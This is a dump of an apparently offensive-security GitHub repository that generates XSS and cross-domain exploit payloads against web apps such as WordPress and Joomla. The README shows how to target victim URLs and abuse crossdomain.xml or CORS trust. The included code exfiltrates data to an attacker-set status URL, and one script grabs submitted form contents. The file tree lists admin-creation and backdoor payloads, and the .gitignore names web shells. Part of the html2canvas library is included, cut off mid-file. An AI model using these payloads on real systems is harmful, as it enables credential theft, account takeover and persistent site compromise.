├── .gitignore ├── README.md ├── bin ├── genpayload.py ├── lib │ └── __init__.py └── yuicompressor.jar └── src ├── config └── settings.ini ├── includes ├── common.js ├── formgrabber │ └── generic.js ├── html2canvas │ ├── html2canvas.js │ └── jquery.plugin.html2canvas.js ├── jquery.ba-htmldoc.js ├── jquery.cookie.js ├── jquery.js ├── serverside │ └── simplepassthru.php └── swf │ ├── checkplayer.js │ ├── flCookie.js │ ├── flCookie.swf │ ├── flXHR.js │ ├── flXHR.swf │ ├── flXHR.vbs │ ├── flensed.js │ ├── jquery.flXHRproxy.js │ ├── swfobject.js │ └── updateplayer.swf └── payloads ├── generic ├── domdump │ ├── config.ini │ └── domdump.js ├── formgrabber │ ├── config.ini │ └── logoutandgrabform.js └── screenshot │ ├── config.ini │ └── screenshot.js ├── joomla └── newadmin │ ├── config.ini │ └── newadmin.js └── wordpress ├── backdoor404 ├── 404.js └── config.ini └── newadmin ├── config.ini └── newadmin.js /.gitignore: -------------------------------------------------------------------------------- 1 | src/.DS_Store 2 | .DS_Store 3 | *.pyc 4 | bin/lib/__init__.pyc 5 | 6 | src/includes/serverside/weevely.php 7 | 8 | src/includes/serverside/wso.php 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Webapp Exploit Payloads 2 | 3 | A collection of payloads for common webapps and a tool to help 4 | generate them. 5 | 6 | 7 | ## Usage: 8 | 9 | To list the available payloads: 10 | 11 | $ ./genpayload.py -L 12 | 13 | To generate one big JavaScript file called `out.js`: 14 | 15 | $ ./genpayload.py -p wordpress/newadmin -o out.js 16 | 17 | To list valid parameters: 18 | 19 | $ ./genpayload.py -p wordpress/newadmin -H 20 | 21 | To pass the parameters through command line: 22 | 23 | $ ./genpayload.py -p wordpress/newadmin -P usernewpage=http://victimsite/blog/wp-admin/user-new.php 24 | 25 | To generate payload for crossdomain.xml exploitation: 26 | 27 | $ ./genpayload.py -p wordpress/newadmin -t swf -P usernewpage=http://victimsite/blog/wp-admin/user-new.php 28 | 29 | To generate payload with an html file: 30 | 31 | $ ./genpayload.py -p wordpress/newadmin -t htmljs -P usernewpage=http://victimsite/blog/wp-admin/user-new.php 32 | 33 | ## Payload types 34 | 35 | ### JS 36 | 37 | Outputs a single JavaScript file that contains all the necessary libraries, such as 38 | jQuery. This can then be included in your XSS. Can also be compressed if need be. 39 | 40 | ### HTMLJS 41 | 42 | Creates a directory containing `index.html` and the included libraries. The html 43 | file contains the payload JavaScript. 44 | 45 | ### SWF 46 | 47 | Creates a directory containing `index.html` and all libraries, including the 48 | files needed for flXHR. 49 | 50 | ### HTML5CORS 51 | 52 | Similar to HTMLJS but makes the code work cross-domain thanks to HTML5 53 | cross origin resource sharing. The victim server needs to trust the attacker server 54 | through the `Access-Control-Allow-Origin: http://attackersite` header and also the header 55 | `Access-Control-Allow-Credentials: true` needs to be set. 56 | 57 | ## Directory structure 58 | 59 | ### /bin 60 | 61 | This is where `genpayload.py` resides. 62 | 63 | ### /src 64 | 65 | This is where all the code is generated from. 66 | 67 | #### /src/config 68 | 69 | A directory containing general configuration files. The file 70 | `settings.ini` is used to store one `statusurl` for all. 71 | 72 | #### /src/includes 73 | 74 | A directory containing files that are included by the payloads. For example, 75 | jquery and its plugins are stored here. There is also a common.js which 76 | contains functions that are commonly used across most payloads. 77 | 78 | #### /src/payloads 79 | 80 | This directory contains all the payloads. The subdirectories under this one 81 | are named after the product that they exploit, for example, wordpress. 82 | There is one directory called generic where generic payloads are stored. 83 | 84 | Each payload has to contain a `config.ini` file that specifies the filename 85 | of the payload, other dependencies and default variable values. 86 | 87 | ## Configuration files 88 | 89 | Each `config.ini` has the following sections: 90 | 91 | - `[config]` where all variables that do not fit anywhere else and their values are stored 92 | - `[locations]` where all URLs are stored .. these URLs become variables within the payload 93 | - `[dependencies]` which contains the following options: 94 | - `script` which is the filename of the payload 95 | - `jquery` which is the filename of the jquery script 96 | - `include` which is any other JavaScript files to be included in the final payload 97 | - `[about]` which contains information about the script including: 98 | - `description` which is a summary of what the payload does 99 | - `[includes]` which contains variable names whose values include filenames for files 100 | that are read by the payload generator and then their contents end up a JavaScript 101 | string in the payload. Useful for placing that backdoor php code -------------------------------------------------------------------------------- /bin/genpayload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | """ 4 | genpayload.py 5 | 6 | Created by Sandro Gauci (sandro@enablesecurity.com) on 2012-05-11. 7 | Copyright (c) 2012 Sandro Gauci. All rights reserved. 8 | """ 9 | 10 | import sys 11 | import argparse 12 | import os 13 | import logging 14 | import json 15 | from lib import * 16 | 17 | 18 | help_message = ''' 19 | Generates web application exploitation payloads based on existent template 20 | ''' 21 | 22 | def getargs(): 23 | parser = argparse.ArgumentParser(description=help_message) 24 | parser.add_argument('-p','--payloads', help='name of payload', action="append", default=[]) 25 | parser.add_argument('-o','--output', help='output filename or directory name') 26 | parser.add_argument('-P','--parameters', action="append", default=[], 27 | help='set variables in the form variable=value (see the ini files for the useful variable names)') 28 | parser.add_argument('-t','--payloadtype',help="Type of output, can be js, swf or htmljs",choices=['js','swf','htmljs','html5cors'],default='js') 29 | parser.add_argument('-H','--payloadhelp', action='store_true', help='Lists parameters for the particular payload and quit') 30 | parser.add_argument('-L','--listpayloads', action='store_true',help='List available payloads') 31 | args = parser.parse_args() 32 | if not (args.payloads or args.listpayloads or args.payloadhelp): 33 | parser.error('Please specify either -p or -L as option') 34 | if (args.payloadtype in ['swf','htmljs']) and (not args.output): 35 | parser.error('Please specify an output location for your swf or htmljs') 36 | return args 37 | 38 | def main(argv=None): 39 | try: 40 | args = getargs() 41 | if args.payloadhelp: 42 | r = listpayloadparams(args) 43 | elif args.listpayloads: 44 | r = listpayloads(args) 45 | elif args.payloads: 46 | if args.payloadtype == 'js': 47 | r = generatejspayload(args) 48 | output(r,args) 49 | elif args.payloadtype in ['swf','htmljs','html5cors']: 50 | r = generatehtmlpayload(args) 51 | except Exception as e: 52 | if DEBUG: 53 | raise e 54 | else: 55 | print (str(e)) 56 | return(0) 57 | 58 | if __name__ == "__main__": 59 | sys.exit(main()) 60 | -------------------------------------------------------------------------------- /bin/lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | """ 4 | __init__.py 5 | 6 | Created by Sandro Gauci on 2013-01-13. 7 | Copyright (c) 2013 EnableSecurity. All rights reserved. 8 | """ 9 | 10 | import sys 11 | import argparse 12 | import os 13 | import logging 14 | import json 15 | import shutil 16 | 17 | 18 | DEBUG = True 19 | 20 | major_version = sys.version_info[0] 21 | if major_version == 2: 22 | from ConfigParser import ConfigParser, NoSectionError, ParsingError 23 | import urlparse 24 | elif major_version == 3: 25 | from configparser import ConfigParser, NoSectionError, ParsingError 26 | from urllib.parse import urlparse 27 | else: 28 | print('python version needs to be 2 or 3') 29 | sys.exit(-1) 30 | 31 | 32 | def getinclude(path,include): 33 | includespath = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','includes')) 34 | fn = os.path.join(includespath,include) 35 | fn2 = os.path.join(path,include) 36 | if os.path.exists(fn): 37 | f=open(fn,'rb') 38 | buff = f.read().decode('utf-8') 39 | f.close() 40 | else: 41 | f=open(fn2,'rb') 42 | buff = f.read().decode('utf-8') 43 | f.close() 44 | return buff + "\r\n\r\n" 45 | 46 | 47 | def output(payload,args): 48 | if args.output: 49 | f = open(args.output,'wb') 50 | else: 51 | f = sys.stdout 52 | f.write(payload.encode('utf-8')) 53 | f.close() 54 | 55 | 56 | 57 | 58 | def getparameters(args): 59 | conf = dict() 60 | jsvarsdict = dict() 61 | jsvars = str() 62 | locationsdict = dict() 63 | includes = str() 64 | statusurl = str() 65 | payloadfiles = set() 66 | includesfn = set() 67 | jqueryadded = False 68 | jqueryinclude = str() 69 | jqueryfn = str() 70 | 71 | basepath = os.path.dirname(os.path.abspath(sys.argv[0])) 72 | 73 | defaultsettingsfn = os.path.abspath(os.path.join(basepath,'..','src','config','settings.ini')) 74 | defaultsettings = ConfigParser() 75 | if not os.path.exists(defaultsettingsfn): 76 | raise Exception('settings.ini not found') 77 | defaultsettings.read(defaultsettingsfn) 78 | try: 79 | statusurl = defaultsettings.get('status','url') 80 | except (NoSectionError,ParsingError) as e: 81 | raise Exception('Invalid settings.ini') 82 | 83 | 84 | 85 | for payload in args.payloads: 86 | path = os.path.abspath(os.path.join(basepath,'..','src','payloads',payload)) 87 | configfn = os.path.join(path,'config.ini') 88 | config = ConfigParser() 89 | config.read(configfn) 90 | 91 | mainconfig = config.items('config') 92 | for kv in mainconfig: 93 | k,v = kv 94 | jsvarsdict[k] = v 95 | 96 | locationsconfig = config.items('locations') 97 | for kv in locationsconfig: 98 | k,v = kv 99 | jsvarsdict[k] = v 100 | locationsdict[k]=v 101 | 102 | if not jqueryadded: 103 | if config.has_option('dependencies','jquery'): 104 | jqueryfn = config.get('dependencies','jquery') 105 | jqueryinclude = getinclude(path,jqueryfn) 106 | jqueryadded = True 107 | jqueryfn=jqueryfn 108 | 109 | for include in config.get('dependencies','include').split(): 110 | includesfn.add(include) 111 | 112 | ## this allows files to be included as javascript variables 113 | if config.has_section('includes'): 114 | for includevar in config.options('includes'): 115 | includefn = config.get('includes',includevar) 116 | jsvarsdict[includevar] = getinclude(path,includefn).strip() 117 | 118 | payloadfiles.add(os.path.join(path,config.get('dependencies','script'))) 119 | 120 | if 'status' in config.sections(): 121 | if config.has_option('status','url'): 122 | statusurl = config.get('status','url') 123 | 124 | for param in args.parameters: 125 | k,v = param.split('=',1) 126 | jsvarsdict[k] = v 127 | if k in locationsdict: 128 | locationsdict[k] = v 129 | 130 | for k,v in jsvarsdict.items(): 131 | jsvars += '%s = %s;\r\n' % (k,json.dumps(v)) 132 | 133 | 134 | for includefn in includesfn: 135 | includes += getinclude(path,includefn) 136 | 137 | jsvarsdict['statusurl'] = statusurl 138 | 139 | conf['jsvarsdict'] = jsvarsdict 140 | conf['jsvars'] = jsvars 141 | conf['includes'] = includes 142 | conf['statusurl'] = statusurl 143 | conf['payloadfiles'] = payloadfiles 144 | conf['locationsdict'] = locationsdict 145 | conf['includesfn'] = includesfn 146 | conf['jqueryinclude'] = jqueryinclude 147 | conf['jqueryfn'] = jqueryfn 148 | 149 | return conf 150 | 151 | 152 | def generateswfpayload(args): 153 | conf = getparameters(args) 154 | firsturl = conf['locationsdict'].values()[0] 155 | payload = str() 156 | urlsplit = urlparse.urlsplit(firsturl) 157 | if len(urlsplit.scheme) == 0: 158 | raise Exception('Please pass a full URL rather than a relative path for the SWF output') 159 | 160 | baseurl = urlsplit.scheme + '://' + urlsplit.netloc 161 | for payloadfile in conf['payloadfiles']: 162 | f = open(payloadfile,'rb') 163 | payload += f.read().decode('utf-8') + '\r\n\r\n' 164 | f.close() 165 | 166 | codeToAdd = "jQuery.flXHRproxy.registerOptions(%s,{noCacheHeader: false,xmlResponseText:false});\r\njQuery.ajaxSetup({transport:'flXHRproxy'});" % (json.dumps(baseurl)) 167 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],codeToAdd,payload]) 168 | return(payloadstr) 169 | 170 | 171 | def generatejspayload(args): 172 | conf = getparameters(args) 173 | payload = str() 174 | for payloadfile in conf['payloadfiles']: 175 | f = open(payloadfile,'rb') 176 | payload += f.read().decode('utf-8') + '\r\n\r\n' 177 | f.close() 178 | if args.payloadtype == 'htmljs': 179 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],payload]) 180 | else: 181 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],conf['jqueryinclude'],conf['includes'],payload]) 182 | return(payloadstr) 183 | 184 | def generatehtmlpayload(args): 185 | conf = getparameters(args) 186 | filestocopy = list() 187 | if args.payloadtype == 'swf': 188 | filestocopy = ['swf/checkplayer.js','swf/flXHR.js', 'jquery.js','common.js', 189 | 'swf/flXHR.swf','swf/flensed.js','swf/jquery.flXHRproxy.js', 190 | 'swf/swfobject.js','swf/updateplayer.swf','swf/flCookie.js', 191 | 'swf/flCookie.swf'] 192 | filestoinclude = ['flXHR.js','jquery.js','jquery.flXHRproxy.js','common.js'] 193 | payloadstr = generateswfpayload(args) 194 | elif args.payloadtype in ['html5cors','htmljs']: 195 | filestocopy = [conf['jqueryfn']] 196 | filestocopy.extend(conf['includesfn']) 197 | filestoinclude = map(lambda ctx: os.path.split(ctx)[1],filestocopy) 198 | if args.payloadtype == 'html5cors': 199 | payloadstr = generatehtmlwithcredspayload(args) 200 | elif args.payloadtype == 'htmljs': 201 | payloadstr = generatejspayload(args) 202 | else: 203 | raise Exception('Should not be here') 204 | 205 | htmloutput = '\r\n' 206 | for jsfn in filestoinclude: 207 | htmloutput += '\r\n'%jsfn 208 | 209 | if not os.path.exists(args.output): 210 | os.makedirs(args.output) 211 | 212 | includespath = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','includes')) 213 | for fn in filestocopy: 214 | shutil.copy(os.path.join(includespath,fn),args.output) 215 | 216 | htmloutput += '\r\n' 217 | outfile=open(os.path.join(args.output,'index.html'),'w') 218 | outfile.write(htmloutput.encode('utf-8')) 219 | outfile.close() 220 | outfile2=open(os.path.join(args.output,'payload.js'),'w') 221 | outfile2.write(payloadstr.encode('utf-8')) 222 | outfile2.close() 223 | 224 | def generatehtmlwithcredspayload(args): 225 | conf = getparameters(args) 226 | payload = str() 227 | for payloadfile in conf['payloadfiles']: 228 | f = open(payloadfile,'rb') 229 | payload += f.read().decode('utf-8') + '\r\n\r\n' 230 | f.close() 231 | codeToAdd = '$.ajaxSetup({\n xhrFields: {\n withCredentials: true\n },\n crossDomain: true\n});' 232 | payloadstr = '\r\n\r\n'.join([conf['jsvars'],codeToAdd,payload]) 233 | return(payloadstr) 234 | 235 | 236 | def listpayloads(args): 237 | payloadsdir = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','payloads')) 238 | for root, dirs, files in os.walk(payloadsdir): 239 | if 'config.ini' in files: 240 | configfn = os.path.join(root,'config.ini') 241 | config = ConfigParser() 242 | try: 243 | config.read(configfn) 244 | mainconfig = config.items('about') 245 | except NoSectionError as e: 246 | raise Exception('Invalid config.ini. Missing [about] section') 247 | tmpgroupdir,payloadname = os.path.split(root) 248 | groupname = os.path.split(tmpgroupdir)[1] 249 | print("Payload: %s/%s" % (groupname,payloadname)) 250 | for kv in mainconfig: 251 | print("\t%s:\t%s" % kv) 252 | print("\r\n") 253 | 254 | 255 | 256 | 257 | 258 | def listpayloadparams(args): 259 | for payload in args.payloads: 260 | path = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),'..','src','payloads',payload)) 261 | configfn = os.path.join(path,'config.ini') 262 | if not os.path.exists(configfn): 263 | raise Exception('Invalid payload directory: %s' % path) 264 | config = ConfigParser() 265 | try: 266 | config.read(configfn) 267 | mainconfig = config.items('config') 268 | locationsconfig = config.items('locations') 269 | except NoSectionError as e: 270 | raise Exception('Invalid config.ini. Missing [config] or [locations] section') 271 | print("Default parameters for %s:\r\n" % payload) 272 | for kv in mainconfig: 273 | print("\tparameter: %s\tdefault: %s" % kv) 274 | for kv in locationsconfig: 275 | print("\tparameter: %s\tdefault: %s" % kv) 276 | print('\r\n') -------------------------------------------------------------------------------- /bin/yuicompressor.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/Webapp-Exploit-Payloads/4413e6c79201149585448a980d1540211ee1ae90/bin/yuicompressor.jar -------------------------------------------------------------------------------- /src/config/settings.ini: -------------------------------------------------------------------------------- 1 | [status] 2 | ;url = http://example.com/status 3 | url = 4 | -------------------------------------------------------------------------------- /src/includes/common.js: -------------------------------------------------------------------------------- 1 | function notify(status) 2 | { 3 | if (statusurl) 4 | { 5 | nstatusurl = statusurl + '?status=' + escape(status); 6 | $.getScript(nstatusurl); 7 | } 8 | }; -------------------------------------------------------------------------------- /src/includes/formgrabber/generic.js: -------------------------------------------------------------------------------- 1 | $("form").submit( 2 | function(){ 3 | if (!$.cookie("formgrabbed")){ 4 | notify("form submitted: "+$(this).serialize()); 5 | $.cookie("formgrabbed","1"); 6 | return false; 7 | } 8 | }) -------------------------------------------------------------------------------- /src/includes/html2canvas/html2canvas.js: -------------------------------------------------------------------------------- 1 | /** 2 | @license html2canvas v0.34 3 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 4 | http://www.twitter.com/niklasvh 5 | 6 | Released under MIT License 7 | */ 8 | (function(window, document, undefined){ 9 | 10 | /* 11 | html2canvas v0.34 12 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 13 | http://www.twitter.com/niklasvh 14 | 15 | Released under MIT License 16 | */ 17 | "use strict"; 18 | 19 | var _html2canvas = {}, 20 | previousElement, 21 | computedCSS, 22 | html2canvas; 23 | 24 | 25 | function h2clog(a) { 26 | if (_html2canvas.logging && window.console && window.console.log) { 27 | window.console.log(a); 28 | } 29 | } 30 | 31 | _html2canvas.Util = {}; 32 | 33 | _html2canvas.Util.backgroundImage = function (src) { 34 | 35 | if (/data:image\/.*;base64,/i.test( src ) || /^(-webkit|-moz|linear-gradient|-o-)/.test( src )) { 36 | return src; 37 | } 38 | 39 | if (src.toLowerCase().substr( 0, 5 ) === 'url("') { 40 | src = src.substr( 5 ); 41 | src = src.substr( 0, src.length - 2 ); 42 | } else { 43 | src = src.substr( 4 ); 44 | src = src.substr( 0, src.length - 1 ); 45 | } 46 | 47 | return src; 48 | }; 49 | 50 | _html2canvas.Util.Bounds = function getBounds (el) { 51 | var clientRect, 52 | bounds = {}; 53 | 54 | if (el.getBoundingClientRect){ 55 | clientRect = el.getBoundingClientRect(); 56 | 57 | 58 | // TODO add scroll position to bounds, so no scrolling of window necessary 59 | bounds.top = clientRect.top; 60 | bounds.bottom = clientRect.bottom || (clientRect.top + clientRect.height); 61 | bounds.left = clientRect.left; 62 | 63 | // older IE doesn't have width/height, but top/bottom instead 64 | bounds.width = clientRect.width || (clientRect.right - clientRect.left); 65 | bounds.height = clientRect.height || (clientRect.bottom - clientRect.top); 66 | 67 | return bounds; 68 | 69 | } 70 | }; 71 | 72 | _html2canvas.Util.getCSS = function (el, attribute) { 73 | // return $(el).css(attribute); 74 | 75 | var val; 76 | 77 | function toPX( attribute, val ) { 78 | var rsLeft = el.runtimeStyle && el.runtimeStyle[ attribute ], 79 | left, 80 | style = el.style; 81 | 82 | // Check if we are not dealing with pixels, (Opera has issues with this) 83 | // Ported from jQuery css.js 84 | // From the awesome hack by Dean Edwards 85 | // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291 86 | 87 | // If we're not dealing with a regular pixel number 88 | // but a number that has a weird ending, we need to convert it to pixels 89 | 90 | if ( !/^-?[0-9]+\.?[0-9]*(?:px)?$/i.test( val ) && /^-?\d/.test( val ) ) { 91 | 92 | // Remember the original values 93 | left = style.left; 94 | 95 | // Put in the new values to get a computed value out 96 | if ( rsLeft ) { 97 | el.runtimeStyle.left = el.currentStyle.left; 98 | } 99 | style.left = attribute === "fontSize" ? "1em" : (val || 0); 100 | val = style.pixelLeft + "px"; 101 | 102 | // Revert the changed values 103 | style.left = left; 104 | if ( rsLeft ) { 105 | el.runtimeStyle.left = rsLeft; 106 | } 107 | 108 | } 109 | 110 | if (!/^(thin|medium|thick)$/i.test( val )) { 111 | return Math.round(parseFloat( val )) + "px"; 112 | } 113 | 114 | return val; 115 | 116 | } 117 | 118 | 119 | if ( window.getComputedStyle ) { 120 | if ( previousElement !== el ) { 121 | computedCSS = document.defaultView.getComputedStyle(el, null); 122 | } 123 | val = computedCSS[ attribute ]; 124 | 125 | if ( attribute === "backgroundPosition" ) { 126 | 127 | val = (val.split(",")[0] || "0 0").split(" "); 128 | 129 | val[ 0 ] = ( val[0].indexOf( "%" ) === -1 ) ? toPX( attribute + "X", val[ 0 ] ) : val[ 0 ]; 130 | val[ 1 ] = ( val[1] === undefined ) ? val[0] : val[1]; // IE 9 doesn't return double digit always 131 | val[ 1 ] = ( val[1].indexOf( "%" ) === -1 ) ? toPX( attribute + "Y", val[ 1 ] ) : val[ 1 ]; 132 | } 133 | 134 | } else if ( el.currentStyle ) { 135 | // IE 9> 136 | if (attribute === "backgroundPosition") { 137 | // Older IE uses -x and -y 138 | val = [ toPX( attribute + "X", el.currentStyle[ attribute + "X" ] ), toPX( attribute + "Y", el.currentStyle[ attribute + "Y" ] ) ]; 139 | } else { 140 | 141 | val = toPX( attribute, el.currentStyle[ attribute ] ); 142 | 143 | if (/^(border)/i.test( attribute ) && /^(medium|thin|thick)$/i.test( val )) { 144 | switch (val) { 145 | case "thin": 146 | val = "1px"; 147 | break; 148 | case "medium": 149 | val = "0px"; // this is wrong, it should be 3px but IE uses medium for no border as well.. TODO find a work around 150 | break; 151 | case "thick": 152 | val = "5px"; 153 | break; 154 | } 155 | } 156 | } 157 | 158 | 159 | 160 | } 161 | 162 | 163 | 164 | 165 | return val; 166 | 167 | 168 | 169 | //return $(el).css(attribute); 170 | 171 | 172 | }; 173 | 174 | 175 | _html2canvas.Util.BackgroundPosition = function ( el, bounds, image ) { 176 | // TODO add support for multi image backgrounds 177 | 178 | var bgposition = _html2canvas.Util.getCSS( el, "backgroundPosition" ) , 179 | topPos, 180 | left, 181 | percentage, 182 | val; 183 | 184 | if (bgposition.length === 1){ 185 | val = bgposition; 186 | 187 | bgposition = []; 188 | 189 | bgposition[0] = val; 190 | bgposition[1] = val; 191 | } 192 | 193 | 194 | 195 | if (bgposition[0].toString().indexOf("%") !== -1){ 196 | percentage = (parseFloat(bgposition[0])/100); 197 | left = ((bounds.width * percentage)-(image.width*percentage)); 198 | 199 | }else{ 200 | left = parseInt(bgposition[0],10); 201 | } 202 | 203 | if (bgposition[1].toString().indexOf("%") !== -1){ 204 | 205 | percentage = (parseFloat(bgposition[1])/100); 206 | topPos = ((bounds.height * percentage)-(image.height*percentage)); 207 | }else{ 208 | topPos = parseInt(bgposition[1],10); 209 | } 210 | 211 | 212 | 213 | 214 | return { 215 | top: topPos, 216 | left: left 217 | }; 218 | 219 | }; 220 | 221 | _html2canvas.Util.Extend = function (options, defaults) { 222 | for (var key in options) { 223 | if (options.hasOwnProperty(key)) { 224 | defaults[key] = options[key]; 225 | } 226 | } 227 | return defaults; 228 | }; 229 | 230 | 231 | /* 232 | * Derived from jQuery.contents() 233 | * Copyright 2010, John Resig 234 | * Dual licensed under the MIT or GPL Version 2 licenses. 235 | * http://jquery.org/license 236 | */ 237 | _html2canvas.Util.Children = function( elem ) { 238 | 239 | 240 | var children; 241 | try { 242 | 243 | children = (elem.nodeName && elem.nodeName.toUpperCase() === "IFRAME") ? 244 | elem.contentDocument || elem.contentWindow.document : (function( array ){ 245 | var ret = []; 246 | 247 | if ( array !== null ) { 248 | 249 | (function( first, second ) { 250 | var i = first.length, 251 | j = 0; 252 | 253 | if ( typeof second.length === "number" ) { 254 | for ( var l = second.length; j < l; j++ ) { 255 | first[ i++ ] = second[ j ]; 256 | } 257 | 258 | } else { 259 | while ( second[j] !== undefined ) { 260 | first[ i++ ] = second[ j++ ]; 261 | } 262 | } 263 | 264 | first.length = i; 265 | 266 | return first; 267 | })( ret, array ); 268 | 269 | } 270 | 271 | return ret; 272 | })( elem.childNodes ); 273 | 274 | } catch (ex) { 275 | h2clog("html2canvas.Util.Children failed with exception: " + ex.message); 276 | children = []; 277 | } 278 | return children; 279 | }; 280 | 281 | /* 282 | html2canvas v0.34 283 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 284 | http://www.twitter.com/niklasvh 285 | 286 | Contributor(s): 287 | Niklas von Hertzen 288 | André Fiedler 289 | 290 | Released under MIT License 291 | */ 292 | 293 | (function(){ 294 | 295 | _html2canvas.Generate = {}; 296 | 297 | var reGradients = [ 298 | /^(-webkit-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/, 299 | /^(-o-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/, 300 | /^(-webkit-gradient)\((linear|radial),\s((?:\d{1,3}%?)\s(?:\d{1,3}%?),\s(?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)-]+)\)$/, 301 | /^(-moz-linear-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)]+)\)$/, 302 | /^(-webkit-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z-]+)([\w\d\.\s,%\(\)]+)\)$/, 303 | /^(-moz-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s?([a-z-]*)([\w\d\.\s,%\(\)]+)\)$/, 304 | /^(-o-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z-]+)([\w\d\.\s,%\(\)]+)\)$/ 305 | ]; 306 | 307 | /* 308 | * TODO: Add IE10 vendor prefix (-ms) support 309 | * TODO: Add W3C gradient (linear-gradient) support 310 | * TODO: Add old Webkit -webkit-gradient(radial, ...) support 311 | * TODO: Maybe some RegExp optimizations are possible ;o) 312 | */ 313 | _html2canvas.Generate.parseGradient = function(css, bounds) { 314 | var gradient, i, len = reGradients.length, m1, stop, m2, m2Len, step, m3; 315 | 316 | for(i = 0; i < len; i+=1){ 317 | m1 = css.match(reGradients[i]); 318 | if(m1) break; 319 | } 320 | 321 | if(m1) { 322 | switch(m1[1]) { 323 | case '-webkit-linear-gradient': 324 | case '-o-linear-gradient': 325 | 326 | gradient = { 327 | type: 'linear', 328 | x0: null, 329 | y0: null, 330 | x1: null, 331 | y1: null, 332 | colorStops: [] 333 | }; 334 | 335 | // get coordinates 336 | m2 = m1[2].match(/\w+/g); 337 | if(m2){ 338 | m2Len = m2.length; 339 | for(i = 0; i < m2Len; i+=1){ 340 | switch(m2[i]) { 341 | case 'top': 342 | gradient.y0 = 0; 343 | gradient.y1 = bounds.height; 344 | break; 345 | 346 | case 'right': 347 | gradient.x0 = bounds.width; 348 | gradient.x1 = 0; 349 | break; 350 | 351 | case 'bottom': 352 | gradient.y0 = bounds.height; 353 | gradient.y1 = 0; 354 | break; 355 | 356 | case 'left': 357 | gradient.x0 = 0; 358 | gradient.x1 = bounds.width; 359 | break; 360 | } 361 | } 362 | } 363 | if(gradient.x0 === null && gradient.x1 === null){ // center 364 | gradient.x0 = gradient.x1 = bounds.width / 2; 365 | } 366 | if(gradient.y0 === null && gradient.y1 === null){ // center 367 | gradient.y0 = gradient.y1 = bounds.height / 2; 368 | } 369 | 370 | // get colors and stops 371 | m2 = m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g); 372 | if(m2){ 373 | m2Len = m2.length; 374 | step = 1 / Math.max(m2Len - 1, 1); 375 | for(i = 0; i < m2Len; i+=1){ 376 | m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/); 377 | if(m3[2]){ 378 | stop = parseFloat(m3[2]); 379 | if(m3[3] === '%'){ 380 | stop /= 100; 381 | } else { // px - stupid opera 382 | stop /= bounds.width; 383 | } 384 | } else { 385 | stop = i * step; 386 | } 387 | gradient.colorStops.push({ 388 | color: m3[1], 389 | stop: stop 390 | }); 391 | } 392 | } 393 | break; 394 | 395 | case '-webkit-gradient': 396 | 397 | gradient = { 398 | type: m1[2] === 'radial' ? 'circle' : m1[2], // TODO: Add radial gradient support for older mozilla definitions 399 | x0: 0, 400 | y0: 0, 401 | x1: 0, 402 | y1: 0, 403 | colorStops: [] 404 | }; 405 | 406 | // get coordinates 407 | m2 = m1[3].match(/(\d{1,3})%?\s(\d{1,3})%?,\s(\d{1,3})%?\s(\d{1,3})%?/); 408 | if(m2){ 409 | gradient.x0 = (m2[1] * bounds.width) / 100; 410 | gradient.y0 = (m2[2] * bounds.height) / 100; 411 | gradient.x1 = (m2[3] * bounds.width) / 100; 412 | gradient.y1 = (m2[4] * bounds.height) / 100; 413 | } 414 | 415 | // get colors and stops 416 | m2 = m1[4].match(/((?:from|to|color-stop)\((?:[0-9\.]+,\s)?(?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)\))+/g); 417 | if(m2){ 418 | m2Len = m2.length; 419 | for(i = 0; i < m2Len; i+=1){ 420 | m3 = m2[i].match(/(from|to|color-stop)\(([0-9\.]+)?(?:,\s)?((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\)/); 421 | stop = parseFloat(m3[2]); 422 | if(m3[1] === 'from') stop = 0.0; 423 | if(m3[1] === 'to') stop = 1.0; 424 | gradient.colorStops.push({ 425 | color: m3[3], 426 | stop: stop 427 | }); 428 | } 429 | } 430 | break; 431 | 432 | case '-moz-linear-gradient': 433 | 434 | gradient = { 435 | type: 'linear', 436 | x0: 0, 437 | y0: 0, 438 | x1: 0, 439 | y1: 0, 440 | colorStops: [] 441 | }; 442 | 443 | // get coordinates 444 | m2 = m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/); 445 | 446 | // m2[1] == 0% -> left 447 | // m2[1] == 50% -> center 448 | // m2[1] == 100% -> right 449 | 450 | // m2[2] == 0% -> top 451 | // m2[2] == 50% -> center 452 | // m2[2] == 100% -> bottom 453 | 454 | if(m2){ 455 | gradient.x0 = (m2[1] * bounds.width) / 100; 456 | gradient.y0 = (m2[2] * bounds.height) / 100; 457 | gradient.x1 = bounds.width - gradient.x0; 458 | gradient.y1 = bounds.height - gradient.y0; 459 